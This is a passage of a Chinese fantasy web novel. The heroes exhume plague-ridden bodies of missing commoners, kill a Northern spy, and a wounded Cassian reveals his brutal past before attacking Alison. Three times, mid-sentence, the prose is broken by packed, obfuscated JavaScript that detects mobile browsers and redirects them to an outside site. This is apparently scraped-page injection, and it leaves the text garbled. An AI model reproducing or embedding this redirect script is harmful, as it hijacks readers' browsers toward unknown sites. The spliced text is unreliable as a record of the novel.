深色的天空中，月亮偶尔从浓厚的云层里探出头来，施舍几片灰白的光亮。 提着夜灯，他们很轻松便找到了于勒提及的死去的矿工的名字。墓碑很新，土的颜色也不一样，大概是因为里面是空的，墓穴也挖得并不深。 ——“应该”是空的。 然而实际上，当他们挖开第一座坟墓的时候便发现，事实和于勒说的大相径庭。 这一批新坟下，每一块墓碑下，都藏着尸体。 今晚之前，艾莉森觉得自己并不算个胆小的人，对于即将发生的事情，也不是完全没有心理准备。 然而，在她看见那些紫黑色的腐尸时，还是觉得胃里一阵翻江倒海——哪怕加上前世的记忆，她也从未如此近距离的接触死人。 ——男人，女人，还有几个和自己差不多年纪的孩子。 一共十多具尸体，都埋在这些本该只是衣冠冢的矿工墓碑之下。 “不太对劲。”卡西恩蹲下来，皱眉道：“现在这个天气，这些尸体腐烂的速度……有些太快了。” 艾莉森走过来，强压下不适感，顺着卡西恩指的方向看去。 死者如婴儿一样地蜷缩着，皮肤已经部分剥落，露出下方反射着蓝色荧光的晶化肌肉组织，腹部高高隆起，嘴巴张开，散发出一股硫磺味的恶臭。 即便戴上了方巾，那股味道也让人难以忍受。 “——魔血病。”两人几乎异口同声地说。 卡西恩小心地检视着死者，神情越发的凝重：“这些人的指甲里没有魔晶矿的矿尘，衣服也并不是矿工们常穿的样式，更像是……” “王都平民的款式。” 艾莉森接话道。 她的目光落在另一具女尸身上，那人的头发已经脱落，穿着件蓝色带压褶领子的背心，正是今年流行的款式。 艾莉森曾见赛琳穿过，还夸过一句好看。 “被魔晶吞了。” 疯乞丐的话再次回响在耳边，那个答案呼之欲出，艾莉森有了一个可怕的猜测。 “……找到了。” 卡西恩在离她不远的另一处尸体处停了下来，语气里的严肃，和那天在竖井下如出一辙。 艾莉森走到他身边，卡西恩半蹲着，小心地拨开那人身上的泥土。 成年男人腐烂的躯体几乎已经辨别不出相貌，但脖子上弹壳制作的黄铜项链，却清晰得有些刺目。 猫头鹰。 他们一直在找的情报贩子。 这些尸体，恐怕便是王都平民区的失踪者们。 为什么，他们身上会有魔血病的症状？ 又是谁将他们埋在矿工墓地，掩人耳目？ 沃尔晶矿就在离王都一日内可以往返的距离，就在兰卡罗德家和皇室的眼皮子底下，谁能只手通天，犯下如此罪行？ “布莱克公爵和诺森德尔有勾结。” 卡西恩他，是否还知道什么别的情报？ 艾莉森正要开口询问，黑发少年的眼神却陡然一变。说时迟那时快，不及反应，艾莉森已猛地被他推开，紧随其后的，是雷鸣般的巨响。 她只觉得耳中嗡嗡作痛，尚未判断方向，第二波攻击已如闪电之势袭来。 艾莉森身形敏捷，几个跨步，已迅速藏身在一块离她最近的墓碑后。 尘烟散去，她看见卡西恩也做出了同样的判断，就在离她不远的地方。 但是—— 他受伤了。 卡西恩单膝跪地，捂着左肩膀，整条手臂耷拉着。 是在推开自己的时候被击中了吗？ 艾莉森的心脏剧烈地跳动着，这个攻击方式，像极了赛琳的炼金魔枪——但显然，兰卡罗德家的武器不会交给外人。 那便只有一个可能。 诺森德尔的炼金科技发展迅速，恐怕更在阿尔特蒂亚之上。 这次袭击，威力上虽有不及，却不再是同学间不会下死手的演习。 对方是冲着要他俩的命来的。 艾莉森将手伸向腰侧，按住海蒂送她她防身用的小型魔晶枪。 这把枪和那天在家中向父亲演示的是同款，在出发前往矿区之前，她已经手动更换了魔晶核心。 问题在于，这把枪能够射击的次数有限，卡西恩已经受伤，她没有太多机会。 “两位不愧是皇家军事学院的高材生，想要一击毙命，看来还是有些难度的。” 尘烟散去，一个矮小的身影从灌木丛后走了出来。 艾莉森瞪大了眼睛。 那是于勒的妻子。 此时此刻，她腰杆挺直，眼中的浑浊早已消失不见，持枪的手也没有丝毫颤抖，明明还穿着晚间接待时同样的衣服，却像变了一个人。 “你们配合的不错，”那女人嘶哑地笑了：“要不是阿尔敏那个笨蛋说漏嘴，被钱冲昏了头，恐怕连我也被你们骗了。” 她说话的时候，带着一丝轻微的北方口音。 “你是诺森德尔人？” 卡西恩开口问道。 “对死人来说，这个问题并不重要。” “于勒知道吗？诺森德尔的间谍居然一直潜伏在他身边。” 卡西恩的声音回响在空旷的墓地上，从艾莉森的角度看去，正好能瞧见他的侧脸，微弱的月光透过云层照在他半边脸上，显得格外的苍白。 “你在他身边多久了？从王都发生失踪案的节点来算，有两个月以上了吧？或许还更久，半年以上？真是辛苦啊，堂堂诺森德尔的杀手，居然要服侍这样一个粗鄙丑陋，脑袋空空的阿尔特蒂亚矿场主。”卡西恩一边说，一边望向艾莉森的方向，暗自做出一个手势。 那是他们在实战演练的时候用过的暗语，意思是： “我来吸引她的注意，你寻找机会攻击。” “不必拿话激我，”诺森德尔女间谍冷声道：“为了伟大理想，个人荣辱我早已置之脑后。” “真了不起，”卡西恩嘲讽道，“一边对着于勒忍辱负重，另一边对着布莱克公爵摇尾乞怜，还能自我欺骗说是为了伟大理想，诺森德尔人的确是做走狗好材料。” “住嘴！”那女人似乎终于有了些怒意，“你们阿尔特蒂亚人怎么可能会懂！” 女间谍的软靴踏在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826041|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墓地的石子路上，一步步靠近卡西恩藏身的那片区域，突然，似乎想起了什么，冷笑出声。 “……狡猾的家伙，是你们背弃盟约在先，我只是砍断那小子一只手作为警告。说起来，之前我倒没想起，你和那个叫‘卡洛’的白痴，的确长得有几分相似。” “不如你早点现身，我还能给你和你的小女友一个痛快。” 艾莉森的心提到了嗓子眼，卡西恩身下的鲜血越积越多，逐渐顺着石块之间的缝隙流淌下来。 快没有时间了。 卡西恩抬起头，朝艾莉森的方向看了一眼。 因为受伤的原因，他笑得有些勉强，但艾莉森还是从他的口型里读出了那句话： “靠你了，艾莉森.兰卡罗德。” 接着，他站了起来，走出了掩体。 冬夜的风声在墓碑之间呼啸着，像是来自深渊的低语。艾莉森全身的血液都好似冻结起来，握枪的手却紧了紧。 卡西恩要做什么？ 女间谍似乎也有些惊讶，挑了挑眉，道：“怎么？想求饶？” “只是想看清楚些，”卡西恩的脚步很慢，肩伤的疼痛让他的额角渗出汗珠，“……看清楚你是怎么死的。” 女间谍冷笑，正要扣动魔枪的扳机，却骤然对上卡西恩那双金绿色的眼睛。 那是双格外明亮的眼睛，夜色之下，她清楚地看见—— 少年的瞳孔，变成了像是爬行动物一样的竖瞳。 霎那间，她的脑中突然浮现出无数的画面。 诺森德尔残酷的训练，殴打，屈辱，第一次杀人时的犹豫，潜伏在阿尔特蒂亚随时暴露的恐惧，以及当那个恶心的矿场主老头趴在自己身上蠕动时，难以克制的恶心—— 她的脑子像是被人撕开，过去那些被拼命压下的情绪，全都涌了出来。 心脏仿佛被一只无形的手紧紧抓住，令她无法动弹。 最后，世界化为一片血红，和耳畔的枪声同时响起。 ——艾莉森开枪击中了她。 女间谍摸着自己的腹部，不可置信地低下头，看着血污如墨迹般缓慢晕开。她瞪大了眼，抬起手来，似乎还想瞄准，但视线却开始模糊，踉跄着退了两步。 最后，她终于无法支撑住自己的身体，捂着肚子跪了下来。 “原来……是你，”她喘着气，鲜血从她的嘴角淌下，抬头看向眼前的黑发少年，说道：“那个……婴儿……” 卡西恩冷酷地看着她。 女间谍似乎还想说些什么，痛苦而扭曲的脸上，竟然勾勒出一个可怖的笑容。 但卡西恩没有给她机会，艾莉森正朝他们站立的方向跑来。 寒光闪过，女间谍的脖子上绽放出一道血瀑。 艾莉森目瞪口呆地看着眼前地狱般的景象。 胃里那种翻江倒海一般的感觉又来了。 卡西恩自己的血和诺森德尔女人的血混合在一起，他整个人都被染成了红色。 他似乎想要擦掉匕首上的鲜血，但看了看自己的袖子，也是同样的颜色，于是皱了皱眉，随手甩了两下。见艾莉森过来，他用金绿色的眼睛静静地注视着她，声音异常的寒冷，不带一丝感情：“把她的脸划掉，不能让人识别出她的身份。不然我们会有麻烦。” 多年以后，这个场景，依旧无数次地在艾莉森的噩梦里出现。 24. 偏移值：3.5% 于勒是被激烈的拍门声吵醒的。 头天晚上，那个十分谦逊的黑发贵族少年敬了他不少酒，这让于勒十分受用，不小心多喝了些。 他记得他老婆黛娜把他扶到了床上，但之后发生了什么，完全想不起来了。 按理说，黛娜应该像往常一样给她家老爷准备好早餐，然后把他叫起来，恭敬地帮他穿好衣服，等等等等。 唉，这些北方的蛮子，实在是不懂事。 要不是他好心收留她，像黛娜这种生不出孩子的女人，哪能过上这么舒服的日子！ 拍门声越发急促，于勒一边穿衣服，一边喊着：“来了，来了——” “于勒！你这个杀千刀的混账玩意！” 他打开门，多弗勒男爵怒气冲冲地站在他面前，他只穿着一件衬衫，外套随意披着，冬日清晨的寒气让他冻得直跺脚。 于勒连忙把他让进屋子，小心翼翼地问：“男爵，怎么了？莉拉她……她做错了什么吗？” “你个狗娘养的，”多弗勒气坏了，顾不得贵族的文雅用词，“你居然让一个魔血病人爬我的床！她要是魔力失控，后果会怎么样？！” 于勒瞪大了眼，努力地消化着对方说的话，“怎、怎么可能？莉拉她是不下矿的……” 啪！ 不等他说完，多弗勒已经狠狠扇了他一巴掌，又从外套口袋里掏出一方手帕，“啪”地扔到于勒面前。 手帕上沾着暗红色的血迹，却泛着幽蓝的光芒，这正是魔血病早期的症状。 “本来想玩点不一样的，那臭X子流出的血却是这个颜色！” “真够了，这破差事唯一的乐子全毁了！” 于勒被打得脑袋嗡嗡作响，却不敢回嘴，只是嗫嚅着说：“大、大人，这一定是误会……” 多弗勒指着他的鼻子，压根不打算听他解释，说：“我现在就要回王都，给我备马！” “多弗勒男爵，于勒场长？” 多弗勒听出是艾莉森的声音，剐了于勒一眼，威胁道： “你要是敢告诉兰卡罗德小姐一个字……” 于勒点头如捣蒜，连忙说：“小人知道，知道。” 他打开门，艾莉森果然站在外面。 多弗勒立刻换了副脸孔，整理好外套，笑着迎向她：“兰卡罗德小姐，昨晚休息得好吗？” 他看向于勒，说：“我正跟场长商量今日回王都的事情呢。” 艾莉森有些狐疑地看着他，矿工村的建筑墙壁不厚，她远远就听见两人似乎在争吵些什么。 然而，此刻她顾不得打探别的事，开口问道： “于勒场长，你这里可有医药用品——卡西恩今早摔了一跤，擦破了皮肤。” 这当然是谎话。 卡西恩左肩的伤不至于威胁生命，却不能放任不理。 “唉，布莱克公子也有些太不小心了。”多弗勒夸张地叹了口气，“严重吗？需要我派人为他找医生吗？” 艾莉森摇了摇头，道：“伤口不深，但我的确有需要您帮忙的事。” 她拿出一封信，上面盖着兰卡罗德家的火漆，“卡西恩受伤了，我今天要晚些才能回去，此前我和二哥有约，恐怕没法及时赶到，能否劳烦您跑一趟军部，将这封信交给他呢？” 多弗勒巴不得早点离开矿工村，何况还能借此和军部的大红人凯恩中尉搭上话，连忙答应道：“兰卡罗德小姐客气了，能为您效劳，是我的荣幸。” 虽然不喜欢多弗勒这个人，但艾莉森此刻却也不得不和他寒暄几句，直到于勒拿来了药箱。 黛娜不在，他找了好一会儿。 那女人到底去哪了？等她回来，得好好揍她一顿才行。 于勒脸上火辣辣地疼，心里愤恨又憋屈，却丝毫不敢在艾莉森和多弗勒面前表现出来，只能恭敬地把东西交给艾莉森，又鞠躬送走了多弗勒这尊大神—— 这时候，他才发现一件事。 他的侄子阿尔敏也不见了。 这小子昨天下午就不对劲，他本该招待贵族们的随行人员，维护好他们的马匹车辆，但他却跑来找黛娜，贼兮兮地似乎藏着掖着什么东西。 那小子该不会…… 矿场长摇了摇头，仿佛要甩掉脑子里某个不该有的念头，随即啐了一口，心想今天可真是倒了大霉，被人打了不说，该帮忙的却一个都不在。 他当然不会知道，他的妻子根本不叫黛娜。 她有一个来自北方的，诺森德尔的名字。 但这并不重要，因为她已经死在了卡西恩手里。 不会有人再关心她叫什么。 此时此刻，矿工村另一头的小屋里，卡西恩已经清理干净了身上的血迹，艾莉森正在帮他包扎。 “大小姐，你的救护课程倒也学得不赖。” 艾莉森睨了卡西恩一眼，这人的脸色因为痛苦和失血苍白如纸，却还是不忘打趣她—— 如果不是见过他杀人时的样子，恐怕她也会和平时一样，反唇相讥，和他闹上几句吧。 “只是做了初步的处理，等回去以后，还是需要找医生的。” 她不咸不淡地答道，合上医药箱，站起身来。 “你休息一会儿吧，我先去还医药箱，等车夫备好了马车，我再来叫你。” 她冷漠的态度让卡西恩有些意外，随即像是有些自嘲般地笑了起来，问：“怎么，看到我杀人，你怕了？” “没有。” “如果没有，为什么急着走？” 艾莉森停下脚步，回头迎向他的目光，用没有起伏的声音说：“你不该杀她。” 卡西恩愣了愣，冷笑道：“大小姐，你真是天真得让我发笑。” 他身子微微前倾，凑近艾莉森了些，声音里莫名地带着股诱惑的意味，好像他说的不是杀人埋尸，而和那天在马上邀请她私奔一样： “不杀她，死的就是我们。别告诉我，你准备用无聊的道德准则来审判我——我的‘共犯’小姐。” 他伸出手，试图握住她的，但艾莉森却避开了，把为他清理伤口的毛巾扔到水里。 血色一点点渗出，从深到浅，最后化为一片几乎不可见的淡红。 片刻后，艾莉森像是下了决心，吸了一口气，沉声道： “我说过，我不介意当挡箭牌，但前提是——你不可以对我有所隐瞒。” 她目光灼灼地看着卡西恩，质问道： “那个时候，她已经没有战斗能力了。” 艾莉森记得很清楚，当时，卡西恩从墓碑后走出来，那个女间谍和他的距离极近。 但敌人却突然像是被什么东西定住了一样，这个短暂的瞬间，足够让自己击中她。 那个女人捂住腹部，跪了下去。 而就在她跑过去想要查看情况时，卡西恩用匕首割开了女间谍的喉咙。 她依稀听见，那个女人似乎说了些什么“十六年前”，“婴儿”。 要说不怕是假的，但比起恐惧的情绪，这件事还有太多蹊跷的地方。 “卡西恩，诺森德尔为什么要抓那些平民？又是什么让他们感染了魔血病？‘猫头鹰’又是怎么死的？她还说见过卡洛——” “当时的情况，我的炼金枪还有能量，哪怕你受伤，我也有信心能控制住她。 “她活着，比死了价值更大——但你却杀了她，为什么？” 卡西恩愕然，没有回答。 半晌，他眯了眯眼，唇角的笑容逐渐消失。 他好像变成了另一个人，英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“兰卡罗德小姐，这、这是个意外！！男爵大人要走，不知道为什么，莉拉这孩子就冲出去拦车……” “真的不关我的事啊！！这不是我的责任！！埃博尔，你也说句话啊！”他手足无措，惊惶地看向老埃博尔。 老人抬起头，浑浊的眼里，此刻却像是点燃了火焰一般。 “你说……不知道为什么？” 他轻轻放下已经没了气息的尸体，颤颤巍巍地站起来，突然，他猛地揪住于勒的领子。 “你这个畜生！你那个侄子说，只要莉拉和那个贵族睡，就能得到一大笔钱！还有你老婆给她的药，说是吃了，就不会再生病，就能下矿帮我干活！你居然说不关你的事！！” “莉拉，我可怜的莉拉！她根本没下过矿！怎么可能得魔血病！” “一定是那个药，是那个药！” 于勒被老人眼里的血色吓坏了，他徒劳地摆着手，像是这样做就能把责任撇干净一样： “我真的，真的什么都不知道，阿尔敏和黛娜，他们一大早就不见了！” “不见了？” 不知何时，卡西恩走了过来，捡起艾莉森脚下的瓶子，玩味似地在手中摆弄着。 “我今早似乎还看到他们一起往村外走了……”他轻声说，手指摩挲着下巴，好像在努力地回想着，“也有可能是我看错了？” 艾莉森猛地看向他，少年的笑容，和往日别无二致，却只让她觉得毛骨悚然。 卡西恩的神色，半是哀痛，半是无辜，真诚地说：“发生这样的事情，太遗憾了。于勒场长，如果有需要帮忙的，您尽管开口。” 25. 偏移值：3.5% 石子路两边，冷杉树上的雪融化了，砸落在地，发出闷响，不知何处传来乌鸦的叫声，如同报丧的钟声一般。 艾莉森又想起了老埃博尔的哭声。 还有那天晚上见到的，穿着蓝色压褶领马甲的女尸。 卡西恩走在她前面，靴子踏过的地方，留下一串脚印。适才他跟于勒借口说帮忙找黛娜和阿尔敏，便带着自己来到这里，却始终一言不发。 明明是清晨，气氛却压抑得令人无法呼吸。 终于，艾莉森忍不住开口，打破了沉默：“卡西恩，这里离村子有段距离，你现在可以说了。” “黛娜，我是说那个诺森德尔的间谍，已经死了，至于阿尔敏——” 卡西恩停下来，抬头看了看空无一物的天空，不带感情地接口道：“大概也死了吧。” “那个间谍孤身一人，不太可能独自掩埋这么多尸体，必然有同谋。” “我们逼问阿尔敏的时候，他实在是害怕得有些过头了。” 艾莉森当然记得那天的情形。 彼时她有所怀疑，直到那晚女间谍说出阿尔敏的名字时，才终于确定下来她的推测。 卡西恩给了阿尔敏一大笔钱，他恐怕想要借此离开村子，才因此被杀。 “他知道太多，被‘黛娜’灭口了？” 卡西恩耸了耸肩，“我没这么说，毕竟没看到尸体。” 他有些恶意地笑了：“我们现在不还在找吗？——在矿区，失踪人口死不见尸是正常的。” 艾莉森双手环胸，偏头看着他。 之前在竖井的时候，卡西恩用插科打诨糊弄了过去，此后便绝口不再提矿区的事，她尊重同伴的隐私，便也没有多问。 此时此刻，他却轻描淡写地开了口： “你想听故事吗，艾莉森？” 卡西恩的目光似乎落在了很远的地方。 “很久很久以前……” 在一个古老的王国，有一个古老的贵族家庭。 家族的主人有权有势，年轻英俊，掌握着强大的魔法，情人无数。 终于有一天，他不得不承担起延续家庭的责任，迎娶出身名门望族的淑女为妻子，为他产下能够继承家族魔血的孩子。 然而，可怕的事情发生了。 三个孩子，没有一个继承了家族的魔法能力。 对于古老王国的贵族来说，再没有比魔血断绝更可怕的事情了。 更糟糕的是，这位妻子的健康状况在生下最后一个女儿后，有了不可逆的损害，她不能再继续生育了。 家主从未想过，魔血会在自己的下一代消失——他从来都是被众神眷顾的天之骄子，这样的奇耻大辱，怎么可能在他身上发生呢？ 一定是妻子的错，是她的血脉污染了家族的荣耀。 于是他重新投向情人们的怀抱。 其中有一个最最愚蠢的女人。 她仗着年轻美貌，以为自己与众不同，能够凭借所谓的爱情，救赎家主自私冷漠的心灵。 她相信了那些可笑的海誓山盟，住在为她准备的湖畔庄园，等待爱情的果实诞生。 遗憾的是，她的孩子，似乎也没能继承魔血。 满怀期望的家主勃然大怒，将情妇和婴儿一起赶了出去。 女人走投无路，只好回到原来的家中。 从前，她作为贵族的情人，风光无限，对父母兄弟多有接济，然而世态炎凉，此刻的她却成了家里的污点。 于是她被父母用两枚金币卖掉，带着孩子，嫁给了赌坊的老板，一个不学无术的老酒鬼。 老酒鬼每次喝多，就会打骂她们，女人太过软弱，没有办法保护自己和儿子，只能抱着他，一边哭一边说—— 有一天他的生父会来接他们，带他们过上好日子。 那个孩子十岁左右的某一天，他再也无法忍受继父的虐待，偷偷逃走了。 他跑啊跑，终于找到了母亲口中生父的大宅子。 那天家主刚巧回家，在门口遇到了他——只一眼，他便知道这是自己的亲生儿子。 他们长得实在太像了。 但他却像打发垃圾一样，给了那个小乞丐几块银币，任由他在门外如何哭喊，都不再理会。 孩子不敢回到继父的家里，他徘徊在大街上，很快，钱花完了，他开始饿肚子。 他沿街乞讨，时不时因为侵犯了其他流浪汉的地盘，被胖揍一顿，就在他以为自己快要饿死的时候—— 有人问他，要不要去矿区打工，儿童的工钱虽然只有成人的一半，但包吃包住，也算笔不错的买卖。 于是，孩子跟着他们去了魔晶矿区，忍受工头和矿场主的压榨和责打，起早贪黑地工作。 日子虽苦，他想着，好歹是靠自己的双手挣口饭吃，也许未来等他攒够钱，还能回去，带那个傻女人一起逃走。 某一天，他和带他来矿区打工的人一起下到竖井挖矿，对方突然说，他得了魔血病，需要一大笔钱来治疗。 小孩没有多想，安慰工友说总有办法，甚至觉得可以拿出自己的积蓄来帮他，却不知道那人已经打定了主意，要在天光照不到的地底杀了他，用他的尸体去换抚恤金。 可惜他一击未中，小孩受了伤，被他逼到角落。 危机之时，他感觉到体内似乎有一种神奇的力量—— 他看到了，眼前举起铁锹之人的恐惧，愤怒，悲伤，疯狂。 只一眼，那人便再也不能动弹，仿佛被放大了数千万倍的情绪抓住了一样。 小孩从他手中夺过铁锹，把他的脑袋砸了个稀巴烂。 霎那间，那些负面的，可怕的黑色思绪扑向了那个孩子，他的心中只剩下仇恨和暴戾，却也有着难以言喻的畅快，等他回过神来，受害者几乎被他剁成了肉泥。 工友们抓住了凶手，将他扭送去了监狱。 法官判处他绞刑。 行刑的头天晚上，狱卒带来的却不是断头饭，而是他的生父，那个贵族的家主。 “……就这样，他终于找回了家族传承的魔血，真是可喜可贺啊。” 卡西恩嘴角牵起残忍的弧度，以这样的一句话，作为故事的结尾。 艾莉森听得如坠冰窖，忍不住问道： “那个孩子……是你？” 卡西恩点了点头，继续道：“六年前，为了防止布莱克家魔血断绝，我被布莱克公爵从死牢里接了回去，但此时卡洛已经被定为布莱克家的继承人，我这样的私生子突然出现，只能被处处针对。” “‘心灵狩猎’，公爵说，这是布莱克家族传承的魔法，可以在瞬间放大敌人的负面情绪，操控他们的精神，甚至引爆。” 心灵系魔法。 艾莉森在课堂上学过，这是在已知魔法体系中，仅次于皇族能力的最可怕，也是最危险的力量，是布莱克家族能够跻身阿尔特蒂亚顶尖贵族的王牌。 但她也记得，老师曾经提过： 这一系魔法通常会对施术者的精神造成极大的负担。 卡西恩像是看穿了她的想法，说： “没错，使用这种力量，我自己会遭受反噬，被施术者的负面情绪会有一部分转移到我身上。” “你问我为什么那天要杀那个间谍？” 他从地上捡起一块小石头，奋力扔向远方，像是要将那些黑暗的过往也一起抛诸脑后。 “我没有办法控制——那时候，我没得选。” 卡西恩向前一步，望向艾莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826043|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 森湛蓝的眼睛，诚恳地说： “我知道，你还没有完全信任我，但是艾莉森，我想要请求你，这件事情就到此为止，可以吗？” 卡西恩甚少露出这样的表情，金绿色的眼里有着难得的认真，没有往日那种吊儿郎当的笑意，像是摘下了他惯常的假面，几乎不像是艾莉森认识的那个桀骜少年。 见她仍有些犹豫，卡西恩似乎下了某种决心，补充道： “实战演练我击败了卡洛，为此，他急需向布莱克公爵证明自己的能力，以免继承人之位不保。前些时候，公爵交给了他一项秘密任务，我想，大概率便是和那个女间谍有关——卡洛回来的时候，被人砍断了手臂。” 艾莉森“啊”的一声，情不自禁地捂住了嘴。 她知道卡洛定是出了什么状况，布莱克公爵才会让原本只是私生子的卡西恩，出现在兰卡罗德家的慈善舞会上，但此刻听他亲口说出，还是难免惊讶。 如此，之前种种不合理之处便都串联在了一起。 “埃德蒙殿下查出布莱克公爵和诺森德尔有勾连，但老狐狸不是好对付的人，这才希望能与我联手，掌控布莱克家的罪证。”卡西恩叹了口气，似是有些抱歉地说：“事到如今，也没什么好瞒你的——更多的查下去也没有意义，至少，殿下想要的，我们都已经知道了。” 艾莉森沉默不语，好像在消化刚才那一整段沉重的故事，就在卡西恩以为她已经被说服，想要往回走的时候，她却说了一句话： “不对。” “卡西恩，你没有说实话。” 卡西恩金绿色的眼睛微微眯了起来。 “布莱克家族的内幕，父亲也许会感兴趣，但于我，没有任何意义。” 艾莉森站在原地，山风吹起她的头发，让她美丽的脸孔多出了一分凛然。 “你漏掉了关键的一点——布莱克公爵，究竟要和诺森德尔交换什么？他究竟在失踪案里涉入多深？” 卡西恩的心一点点沉下去。 他知道，自己瞒不了她——艾莉森太过聪明，不会轻易被这样一个悲惨的故事蒙蔽。 “……剩下的事情，交给我就好。” 他在她面前，好像突然失去了能言善辩的力量，连卡西恩自己，都觉得这句话苍白而无力。 “如果你说的都是真的，换做是你，卡西恩，你能够袖手旁观吗？” 艾莉森直视着他的眼睛，如同要将他看穿一般，冷声道： “交给你可以，那你又能保证，会还那些死去的人一个公道吗？” 他们之间隔着一小段路，五步，不，只要三步，他们就能并肩而立，他就能像往常一样，轻松地撩拨她几句，或者讲几个从弗兰克那里听来的烂笑话，又或者，他可以像一个优雅的贵公子那样，牵起她的手，告诉她小心脚下。 但卡西恩的耐心却突然被眼前的少女磨灭了。 他不想再演下去了。 “公道？恕我直言，兰卡罗德小姐，生来就过着优渥生活的你，有什么资格来跟我讲公道？” 艾莉森哑然—— 是啊，她有什么资格呢？ 她可以说，前世的自己也经历过苦日子；也可以说，她想要为平民区的大家尽一份力量—— 但死去的人没有办法再活过来。 卡西恩经历的那些惨痛遭遇，她也无法感同身受。 尽管如此，尽管如此—— 无视那些尘埃中的哭声，她做不到。 “我会如实告知埃德蒙殿下。这件事，我不会轻易放过。”艾莉森的声音里，有着不可动摇的决心。 “太遗憾了。”卡西恩的声音骤然变冷，“大小姐，你本可以活下来——” 下一刻，寒光出鞘。 26. 偏移值：3.5% “诺森德尔的势力，竟然已经深入到王都脚下了吗？”埃德蒙.雷恩看着眼前的报告，蹙起眉头。 “根据兰卡罗德小姐的说法，我们已经确认了大部分失踪者的身份。” 艾文.费尔南迪将另一份文件交到他的手上,补充道。 王储殿下修长的手指一页页拨开纸张，神情越发凝重起来。 “没有找到那名间谍的尸体？” “是的，殿下。” 从拿到这份报告时起，艾文立刻派出人手前往沃尔晶矿的公墓，但除了那些失踪的平民，已经找不到诺森德尔间谍的尸体。 彼时，村里正在举行葬礼，死者女性的确具有魔血病初期症状，但是否和间谍有关，还缺乏有效证据。 艾文看向坐在王储办公室另一侧的艾莉森。 她穿着条繁复优雅的裙子，头发简单地束着，手上却缠着绷带，嘴角也贴着伤药。她安静地等待着王储殿下的反馈，看不出来在想什么。 艾文心里涌起难以言喻的情绪——从有记忆以来，他一直陪伴在殿下身侧，作为埃德蒙殿下最信任的左右手，辅佐他，支持他，自认为是最了解他的人之一。 但殿下居然在他毫不知情的时候，向兰卡罗德小姐委以如此重任？ 向“那个”兰卡罗德小姐？ 她带着这份报告回来之前，王都贵族圈子里，关于她和布莱克家私生子的绯闻早就传得沸沸扬扬。 听说兰卡罗德公爵夫人觉得颜面尽失，大发雷霆，一怒之下，节庆假期都没过完，便回了南方领地。 艾文暗自替埃德蒙殿下不值，但主君却像是不在乎自己王冠上长出的角*，依旧从容地处理政务，直到听见那位女主角回到王都求见，一连推掉了好几个重要的王室活动，急切地召她入宫。 那个睿智，冷静，克制的埃德蒙殿下？ 爱情令人盲目啊，艾文不得不感慨。 而出乎艾文意料的是，兰卡罗德小姐并不是为了解释她和布莱克家二公子的传闻来的。 她带来了厚厚一沓关于诺森德尔势力渗透的报告。 托她的福，连自己在内，军部和情报部门的同僚们，这几天都忙到飞起，起早贪黑加班加点—— 主君的想法，实在令辅佐官摸不透。 要说他不在乎兰卡罗德小姐，当殿下看见兰卡罗德小姐身上的伤的时候，向来波澜不惊的眼里却似起了风浪； 但要说他多上心？ 哪有多日不见喜欢的姑娘，却一见面就谈公事的？ “报告里提到的，来自诺森德尔的那瓶‘药’……”埃德蒙的声音打断了艾文的思绪，但这句话是对着艾莉森说的。 “我会委托炼金研究院调查的。”艾莉森抬头回答道。 “有劳了，这的确很关键，如果诺森德尔掌握了更多关于魔血病的情况，我们必须提前做好应对。” “军部那边，我会授权凯恩中尉全面追查境内诺森德尔的奸细。” 埃德蒙从文件堆里抽出一封信来。 艾莉森瞳孔微缩，她知道那是什么。 没有这封信，她可能已经死了。 那个时候，他是真的想杀自己。 卡西恩非常强——艾莉森一直都知道。 而当她真正直面着来自他的杀意时，她却发现，到底是低估了他。 离开矿区前，当她说出要继续追查布莱克家和诺森德尔的交易后，卡西恩突然对她动手了。 其实此前她已隐约察觉到他的意图，不是没有防备，但他们距离太近，来不及拔枪，卡西恩已经身形如电，欺身向前。 冷风从她侧脸划过，几缕发丝飘落在地。 艾莉堪堪避开，随着刀锋再次袭来，她只能抬臂格挡，但卡西恩力量上有优势，寒光照进她的眼睛—— 硬碰硬的话，她没有胜算。 艾莉森打定主意，一咬牙，猛地抬起右臂，掌跟向上一顶—— 骨骼相撞的闷响传来。 实打实的一击，干脆又结实，打在卡西恩的下巴上。 头部受击，他猛地后仰，紧跟着，艾莉森飞起一脚，直接踢在他的腹部。 卡西恩被她踹开了好几步，稳住身形，重新摆好架势，眼神微变，冷笑道： “近身格斗学得不错。” 话音未落，黑色的影子向她扑来。 艾莉森侧身让过，脚步不停，朝他持刀的手腕斜切过去——夺走他的武器，才有更多周旋的机会。 卡西恩的动作却更快，他反手扯住艾莉森的臂膀，整个人顺势贴近，左臂如铁箍般钳住艾莉森的脖子，猛地将她整个人摔向地面。 天旋地转，后背传来刺骨的疼痛，炼金魔枪从腰间坠落，转了几圈，掉至一旁。 艾莉森想要起身够枪，说时迟那时快，卡西恩却一脚踩在她的手上。 大概是特意留了力，才没有将她的指骨踩断。 但这又有什么意义呢？他的攻击方式迅猛且致命，完完全全把她当作了敌人。 